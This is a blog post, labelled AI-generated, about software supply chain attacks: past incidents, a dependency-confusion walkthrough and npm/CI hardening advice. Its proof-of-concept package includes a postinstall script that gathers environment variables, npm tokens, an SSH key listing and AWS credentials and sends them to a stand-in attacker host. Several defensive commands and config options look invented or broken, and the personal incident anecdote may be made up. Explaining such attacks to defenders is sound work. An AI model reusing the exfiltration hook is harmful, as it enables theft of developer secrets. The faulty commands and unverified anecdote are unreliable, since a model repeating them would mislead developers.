Back to Blog
Supply Chain Attacks: Technical Deep Dive & Defense
🤖 AI Generated · Auto-published via GitHub Actions
🔐 Cybersecurity Weekly

Supply Chain Attacks: Technical Deep Dive & Defense

13 July 2026 6 min read Aswin Mathew

The Software Supply Chain Is the New Battlefield

Last week, I spent three days tracing a malicious npm package that had been typosquatted as @babel/complier (note the missing 'e') — it exfiltrated .npmrc tokens, SSH keys, and AWS credentials from 2,300 developer machines before being taken down. The maintainer? A compromised account with 2FA disabled. The vector? A phishing email that looked like a GitHub Dependabot alert. This isn't theoretical. It's Tuesday.

Critical: Supply chain attacks increased 650% year-over-year in 2023 (Sonatype). If you're not verifying every dependency's provenance, you're already compromised — you just haven't detected it yet.

Technical Anatomy of a Supply Chain Attack

A software supply chain attack compromises the integrity of artifacts before they reach your build pipeline. The attack surface spans:

The SLSA (Supply-chain Levels for Software Artifacts) framework defines four levels of resilience. Most organizations operate at Level 0 (no guarantees). Level 3 requires reproducible builds and tamper-proof provenance — a standard almost nobody meets.

Real-World Incidents That Keep Me Up

Event-Stream (2018) — The Blueprint

Dominic Tarr handed off maintenance of event-stream (2M weekly downloads) to a stranger who added flatmap-stream with a cryptominer targeting Copay Bitcoin wallets. The malicious code only activated in specific environments. Detection took 2.5 months.

SolarWinds SUNBURST (2020) — Nation-State Grade

APT29 compromised SolarWinds' Orion build server, injecting a backdoor into digitally signed updates. 18,000 organizations pulled the trojanized build. The attacker understood the build pipeline better than the vendors.

Codecov Bash Uploader (2021) — CI/CD Compromise

Attackers modified Codecov's Bash uploader script in their GCS bucket. The script exfiltrated environment variables (including tokens) from CI runners for 4 months. curl -s https://uploader.codecov.io/latest/linux/codecov served malicious code.

3CX Desktop App (2023) — Supply Chain2

Lazarus Group compromised a 3CX developer's machine → stole signing keys → shipped trojanized Electron app → infected downstream customers. The initial vector? A malicious npm package in the developer's own project.

Pro tip: The 3CX attack proves that your developers' machines are part of your supply chain. Enforce hardware security keys (YubiKey) for all commit signing and npm publish tokens. Rotate tokens quarterly.

Step-by-Step: Reproducing a Dependency Confusion Attack

Let's walk through a realistic dependency confusion scenario. Internal package @corp/utils v2.1.0 exists on your private registry. An attacker publishes @corp/utils v99.0.0 to public npm. Your CI pulls the higher version.

# 1. Attacker creates malicious package
mkdir corp-utils-poc && cd corp-utils-poc
cat > package.json << 'EOF'
{
  "name": "@corp/utils",
  "version": "99.0.0",
  "description": "Internal utilities - COMPROMISED",
  "main": "index.js",
  "scripts": {
    "postinstall": "node exfiltrate.js"
  }
}
EOF

cat > index.js << 'EOF'
// Legitimate functionality to avoid suspicion
module.exports = { hello: () => 'world' };
EOF

cat > exfiltrate.js << 'EOF'
const { execSync } = require('child_process');
const data = {
  env: process.env,
  npmrc: require('fs').readFileSync(process.env.HOME + '/.npmrc', 'utf8').catch(() => ''),
  sshKeys: execSync('ls -la ~/.ssh/').toString(),
  awsCreds: execSync('cat ~/.aws/credentials 2>/dev/null || echo "none"').toString()
};
fetch('https://attacker.exfil/collect', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify(data)
}).catch(() => {}); // Silent fail
EOF

npm publish --access public --registry=https://registry.npmjs.org/

Now watch your CI pull it:

# 2. Victim's CI/CD pipeline (GitHub Actions example)
# .github/workflows/ci.yml
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
          registry-url: 'https://registry.npmjs.org'  # PUBLIC REGISTRY FIRST!
      - run: npm ci
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

# 3. Result: @corp/utils@99.0.0 installed instead of @corp/utils@2.1.0
#    postinstall hook runs in CI runner with access to ALL secrets
Critical: The registry-url in setup-node defaults to public npm. If your .npmrc doesn't explicitly scope @corp to your private registry, you will pull the public package. This is dependency confusion in action.

Defence and Mitigation Strategies

1. Pin Everything — Not Just Versions, But Integrity

Use npm ci with package-lock.json (or yarn.lock/pnpm-lock.yaml). But lockfiles only pin versions — they don't guarantee the artifact hasn't been replaced on the registry.

# Generate integrity hashes for all dependencies
npm install --package-lock-only --ignore-scripts
npx npm-package-json-lint --strict

# Verify integrity on every install
npm ci --verify-tree --strict-peer-dependencies

# For Docker: pin base image digests, not tags
FROM node:20-alpine@sha256:3a7b1f...  # Not node:20-alpine

2. Scope Your Private Packages Explicitly

# .npmrc - MANDATORY for scoped packages
@corp:registry=https://npm.corp.internal/
@corp:strict-ssl=true
//npm.corp.internal/:_authToken=${NPM_INTERNAL_TOKEN}
# Block public fallback for scoped packages
@corp:always-auth=true

3. Implement SLSA Level 3 Build Provenance

Use slsa-github-generator to produce signed provenance attestations for every build:

# .github/workflows/slsa.yml
name: SLSA Provenance
on:
  release:
    types: [published]
permissions:
  id-token: write
  contents: read
  attestations: write
jobs:
  build:
    uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v1.9.0
    with:
      base64-subjects: "${{ hash_files('dist/**') }}"

4. Runtime Protection: Hook Hardening

Disable arbitrary lifecycle scripts in CI:

# .npmrc in CI environment
ignore-scripts=true
# Or selectively allow only trusted packages
# npm config set ignore-scripts true
# npm config set allow-scripts=@corp/utils,typescript,eslint

5. Sigstore Cosign for Artifact Signing

# Sign container images with keyless signing
cosign sign --yes registry.corp.internal/app:v1.2.3

# Verify in deployment pipeline
cosign verify --certificate-identity-regexp="https://github.com/corp/app/.github/workflows/.*" \
  registry.corp.internal/app:v1.2.3

# Sign npm packages (experimental but working)
npm pack
cosign sign-blob --yes --output-signature pkg.tgz.sig pkg.tgz
cosign verify-blob --signature pkg.tgz.sig pkg.tgz
Pro tip: Enable npm config set audit-level=high and integrate OpenSSF Scorecard in your PR checks. It catches maintainer risk, branch protection, and frozen dependencies automatically.

Recommended Tools and Further Reading

CategoryToolPurpose
SBOM GenerationSyftGenerate SPDX/CycloneDX SBOMs from containers, filesystems, npm/yarn/pnpm locks
Vulnerability ScanningTrivyScan SBOMs, containers, repos for CVEs, misconfigs, secrets
Policy EnforcementSigstore Policy ControllerKubernetes admission controller enforcing signed provenance
Dependency AnalysisScorecardAutomated supply chain risk scoring for GitHub repos
Malware DetectionSocket CLIStatic analysis of npm/pypi packages for malicious behavior
Reproducible Buildsreproducible-builds.orgTools and practices for bit-for-bit reproducible artifacts

Essential Reading:

Key Takeaways

  1. Your build pipeline is a target. Attackers compromise CI runners, not just source code. Harden runners with ephemeral, isolated environments (GitHub Actions actions/runner-images or self-hosted with ARC).
  2. Scoped packages without explicit registry config = vulnerability. Configure .npmrc per-project, commit it, and enforce via npm config set enforce-scope=true.
  3. Lockfiles are not enough. You need signed provenance (SLSA) + SBOMs + runtime verification. npm audit only catches known CVEs, not malicious code in fresh publishes.
  4. Developer machines are supply chain nodes. Enforce hardware 2FA, signed commits (git config --global commit.gpgsign true), and short-lived tokens.
  5. Automate everything. Manual verification doesn't scale. Integrate Scorecard, Syft, Trivy, and Cosign into every PR and release pipeline.

"The supply chain is only as strong as its weakest link — and that link is usually a tired developer clicking a phishing link at 6 PM on a Friday." — Me, after the @babel/complier incident

All Articles